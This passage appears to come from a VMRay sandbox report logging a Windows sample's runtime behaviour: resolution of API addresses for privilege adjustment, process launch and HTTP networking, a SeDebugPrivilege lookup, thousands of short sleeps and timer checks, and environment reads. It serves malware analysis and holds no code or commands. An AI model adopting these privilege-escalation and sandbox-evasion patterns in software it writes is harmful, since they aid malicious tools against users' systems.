Get Address c:\windows\syswow64\advapi32.dll function = LookupPrivilegeValueA, address_out = 0x75e3404a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = AdjustTokenPrivileges, address_out = 0x75e3418e True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteW, address_out = 0x767d3c71 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayPtrOfIndex, address_out = 0x75b3e1ce True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetUBound, address_out = 0x75b3e127 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetLBound, address_out = 0x75b3e173 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayCreate, address_out = 0x75b3e263 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeType, address_out = 0x75b25dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantCopy, address_out = 0x75b248f1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantClear, address_out = 0x75b23eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantInit, address_out = 0x75b23ed5 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x764bb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x764cf18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetConnectA, address_out = 0x764c49e9 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x764bab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpSendRequestA, address_out = 0x765318f8 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpOpenRequestA, address_out = 0x764c4c7d True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpAddRequestHeadersA, address_out = 0x764bdcd2 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7684e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x768517bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetMalloc, address_out = 0x767e0602 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x7566c544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x762c434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75b24c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x75b9c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x75b9ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75b45934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x75b9d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x75b9dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x75b9e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x75b9f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x75b9f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75b45a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x75b9ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x75b9ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x75b3b0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75b36fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x75b401a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x75b3699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75b46ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75b66c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x75b3dbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75b47fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75b37a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75b40355 True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (4110)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 3841
Fn
Get Time type = System Time, time = 2019-07-08 09:40:35 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 6373124955 True 1
Fn
Get Time type = Ticks, time = 20670 True 89
Fn
Get Time type = Ticks, time = 20685 True 160
Fn
Get Time type = Performance Ctr, time = 6561142579 True 1
Fn
Get Time type = Performance Ctr, time = 6737850876 True 1
Fn
Get Time type = Performance Ctr, time = 6737856685 True 1
Fn
Get Time type = Performance Ctr, time = 6737861937 True 1
Fn
Get Time type = Performance Ctr, time = 6737867135 True 1
Fn
Get Time type = Performance Ctr, time = 6737872287 True 1
Fn
Get Time type = Performance Ctr, time = 6738314105 True 1
Fn
Get Time type = Performance Ctr, time = 6738323448 True 1
Fn
Get Time type = Performance Ctr, time = 6738328666 True 1
Fn
Get Time type = Performance Ctr, time = 6738333831 True 1
Fn
Get Time type = Performance Ctr, time = 6738338993 True 1
Fn
Get Info type = Operating System True 2
Fn
Environment (4)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = WINDIR, result_out = C:\Windows True 1
Fn
Debug (249)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 249
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image